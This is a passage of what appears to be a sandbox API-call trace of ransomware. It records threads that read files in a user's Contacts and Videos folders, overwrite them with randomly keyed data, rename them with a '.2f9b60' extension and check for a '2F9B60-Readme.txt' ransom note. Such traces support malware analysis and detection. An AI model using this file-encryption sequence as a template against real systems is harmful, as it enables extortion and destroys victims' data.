returned 1 [0094.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0094.063] FlushFileBuffers (hFile=0xdac) returned 1 [0094.065] CloseHandle (hObject=0xdac) returned 1 [0094.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866340 [0094.071] wcscpy (in: _Dest=0x1b866340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0094.071] wcscat (in: _Dest=0x1b866340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" [0094.071] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\2f9b60-readme.txt")) returned 0x20 [0094.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784520) returned 1 Thread: id = 555 os_tid = 0xe70 [0094.075] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact")) returned 0x20 [0094.076] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", dwFileAttributes=0x20) returned 1 [0094.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0094.076] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x24c4f6a0 | out: lpFileSize=0x24c4f6a0*=1172) returned 1 [0094.076] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.076] ReadFile (in: hFile=0xdac, lpBuffer=0x24c4f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24c4f668, lpOverlapped=0x0 | out: lpBuffer=0x24c4f620*, lpNumberOfBytesRead=0x24c4f668*=0x4, lpOverlapped=0x0) returned 1 [0094.078] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0094.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0094.078] NtQuerySystemTime (in: CurrentTime=0x24c4f560 | out: CurrentTime=0x24c4f560*=132462176999098000) returned 0x0 [0094.078] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x12a2b01a [0094.078] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x4f6ac0a6 [0094.078] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x7822d3f0 [0094.078] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x5d2a6f70 [0094.078] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x2304c346 [0094.078] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x69b50ea7 [0094.078] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x27b8e4e9 [0094.078] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x37cc0009 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x65b3fcd3 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x2a89876d [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x4a28b327 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x52341dae [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x2f616a31 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0xf1c1b59 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x6b95eb3 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x154f6574 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x48bc7923 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x49269063 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x37d38898 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x4175f6c2 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x2df29b88 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x31bf69a0 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x1744c0e8 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x1fc22bc5 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0xd8d18d3 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x6888603d [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x4836a5e [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x65cf9820 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x634e084c [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x28efbaec [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x5db40d26 [0094.079] RtlRandomEx (in: Seed=0x24c4f550 | out: Seed=0x24c4f550) returned 0x7006e713 [0094.090] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x494, lpNumberOfBytesRead=0x24c4f550, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x24c4f550*=0x494, lpOverlapped=0x0) returned 1 [0094.090] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.090] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x24c4f554, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x24c4f554*=0x494, lpOverlapped=0x0) returned 1 [0094.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0094.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0094.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f2f0 [0094.092] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.092] WriteFile (in: hFile=0xdac, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x24c4f670, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x24c4f670*=0x11c, lpOverlapped=0x0) returned 1 [0094.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0094.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0094.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f270 [0094.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0094.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0094.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9c970 [0094.095] sprintf (in: _Dest=0x1cd9c970, _Format="%c%c" | out: _Dest="a9") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c972, _Format="%c%c" | out: _Dest="40") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c974, _Format="%c%c" | out: _Dest="2a") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c976, _Format="%c%c" | out: _Dest="f8") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c978, _Format="%c%c" | out: _Dest="c8") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c97a, _Format="%c%c" | out: _Dest="6f") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c97c, _Format="%c%c" | out: _Dest="1c") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c97e, _Format="%c%c" | out: _Dest="69") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c980, _Format="%c%c" | out: _Dest="17") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c982, _Format="%c%c" | out: _Dest="f9") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c984, _Format="%c%c" | out: _Dest="a3") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c986, _Format="%c%c" | out: _Dest="1d") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c988, _Format="%c%c" | out: _Dest="11") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c98a, _Format="%c%c" | out: _Dest="c5") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c98c, _Format="%c%c" | out: _Dest="c7") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c98e, _Format="%c%c" | out: _Dest="7c") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c990, _Format="%c%c" | out: _Dest="3b") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c992, _Format="%c%c" | out: _Dest="91") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c994, _Format="%c%c" | out: _Dest="51") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c996, _Format="%c%c" | out: _Dest="72") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c998, _Format="%c%c" | out: _Dest="88") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c99a, _Format="%c%c" | out: _Dest="3d") returned 2 [0094.095] sprintf (in: _Dest=0x1cd9c99c, _Format="%c%c" | out: _Dest="ec") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c99e, _Format="%c%c" | out: _Dest="08") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9a0, _Format="%c%c" | out: _Dest="2a") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9a2, _Format="%c%c" | out: _Dest="89") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9a4, _Format="%c%c" | out: _Dest="b8") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9a6, _Format="%c%c" | out: _Dest="bc") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9a8, _Format="%c%c" | out: _Dest="4f") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9aa, _Format="%c%c" | out: _Dest="81") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9ac, _Format="%c%c" | out: _Dest="bf") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9ae, _Format="%c%c" | out: _Dest="38") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9b0, _Format="%c%c" | out: _Dest="5b") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9b2, _Format="%c%c" | out: _Dest="62") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9b4, _Format="%c%c" | out: _Dest="a6") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9b6, _Format="%c%c" | out: _Dest="ed") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9b8, _Format="%c%c" | out: _Dest="fa") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9ba, _Format="%c%c" | out: _Dest="36") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9bc, _Format="%c%c" | out: _Dest="59") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9be, _Format="%c%c" | out: _Dest="83") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9c0, _Format="%c%c" | out: _Dest="e6") returned 2 [0094.096] sprintf (in: _Dest=0x1cd9c9c2, _Format="%c%c" | out: _Dest="db") returned 2 [0094.096] RtlInitAnsiString (in: DestinationString=0x24c4f6e8, SourceString="a9402af8c86f1c6917f9a31d11c5c77c3b915172883dec082a89b8bc4f81bf385b62a6edfa365983e6db" | out: DestinationString="a9402af8c86f1c6917f9a31d11c5c77c3b915172883dec082a89b8bc4f81bf385b62a6edfa365983e6db") [0094.096] RtlAnsiStringToUnicodeString (in: DestinationString=0x24c4f6b8, SourceString="a9402af8c86f1c6917f9a31d11c5c77c3b915172883dec082a89b8bc4f81bf385b62a6edfa365983e6db", AllocateDestinationString=1 | out: DestinationString="a9402af8c86f1c6917f9a31d11c5c77c3b915172883dec082a89b8bc4f81bf385b62a6edfa365983e6db") returned 0x0 [0094.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0094.097] wcscat (in: _Dest=0x1b784520, _Source="a9402af8c86f1c6917f9a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\a9402af8c86f1c6917f9a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\a9402af8c86f1c6917f9a" [0094.097] wcscat (in: _Dest=0x1b784520, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\a9402af8c86f1c6917f9a.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\a9402af8c86f1c6917f9a.2f9b60" [0094.097] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\a9402af8c86f1c6917f9a.2f9b60", NtPathName=0x24c4f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\a9402af8c86f1c6917f9a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce11600 [0094.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0094.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.099] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x24c4f6f8, FileInformation=0x24c4f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24c4f6f8, FileInformation=0x24c4f708) returned 0x0 [0094.099] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x24c4f6f8, FileInformation=0x24c4f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784520) returned 1 [0094.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0094.100] FlushFileBuffers (hFile=0xdac) returned 1 [0094.102] CloseHandle (hObject=0xdac) returned 1 [0094.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866340 [0094.103] wcscpy (in: _Dest=0x1b866340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0094.103] wcscat (in: _Dest=0x1b866340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" [0094.103] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\2f9b60-readme.txt")) returned 0x20 [0094.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784400) returned 1 Thread: id = 556 os_tid = 0xe74 [0094.110] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0tI4uG69.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\0ti4ug69.mkv")) returned 0x20 [0094.110] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0tI4uG69.mkv", dwFileAttributes=0x20) returned 1 [0094.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0tI4uG69.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\0ti4ug69.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0094.111] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x24e8fa80 | out: lpFileSize=0x24e8fa80*=76254) returned 1 [0094.111] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x129da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.111] ReadFile (in: hFile=0xdac, lpBuffer=0x24e8fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24e8fa48, lpOverlapped=0x0 | out: lpBuffer=0x24e8fa00*, lpNumberOfBytesRead=0x24e8fa48*=0x4, lpOverlapped=0x0) returned 1 [0094.112] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0094.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0094.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0094.112] NtQuerySystemTime (in: CurrentTime=0x24e8f940 | out: CurrentTime=0x24e8f940*=132462176999410000) returned 0x0 [0094.112] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x1a5b2589 [0094.112] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x3652a2ff [0094.112] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x1b55fe41 [0094.112] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x32d502de [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x17e0a901 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x61dbcd9 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x4c99d238 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x2ec28527 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x517da4ef [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x3ba113bd [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x55c4af5c [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x2547a14 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x5060f98f [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x4d45bda6 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x13a7ff1a [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x42ccbcc2 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x7641b2f9 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x4cbb857a [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x3ff45802 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x4c440ad7 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x1ad09d25 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x179224e9 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x1b5cd06f [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x33b3bbc3 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x4fd0ff86 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x7a2348cb [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x5abc8d7d [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x5ba25352 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x4ec0c31d [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0xe9623f3 [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x98abf1a [0094.113] RtlRandomEx (in: Seed=0x24e8f930 | out: Seed=0x24e8f930) returned 0x32c6909c [0094.122] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.122] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24e8f9a0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x24e8f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.123] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0094.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0094.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb50) returned 1 [0094.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0094.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0094.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f940) returned 1 [0094.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.123] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24e8f9a0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x24e8f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85f940 [0094.125] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.126] WriteFile (in: hFile=0xdac, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x24e8fa50, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x24e8fa50*=0x10a, lpOverlapped=0x0) returned 1 [0094.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0094.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0094.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0094.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0094.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0094.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0094.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0094.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f2f0 [0094.128] sprintf (in: _Dest=0x1cd9f2f0, _Format="%c%c" | out: _Dest="6f") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f2f2, _Format="%c%c" | out: _Dest="60") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f2f4, _Format="%c%c" | out: _Dest="8e") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f2f6, _Format="%c%c" | out: _Dest="f0") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f2f8, _Format="%c%c" | out: _Dest="1c") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f2fa, _Format="%c%c" | out: _Dest="42") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f2fc, _Format="%c%c" | out: _Dest="24") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f2fe, _Format="%c%c" | out: _Dest="ca") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f300, _Format="%c%c" | out: _Dest="c5") returned 2 [0094.128] sprintf 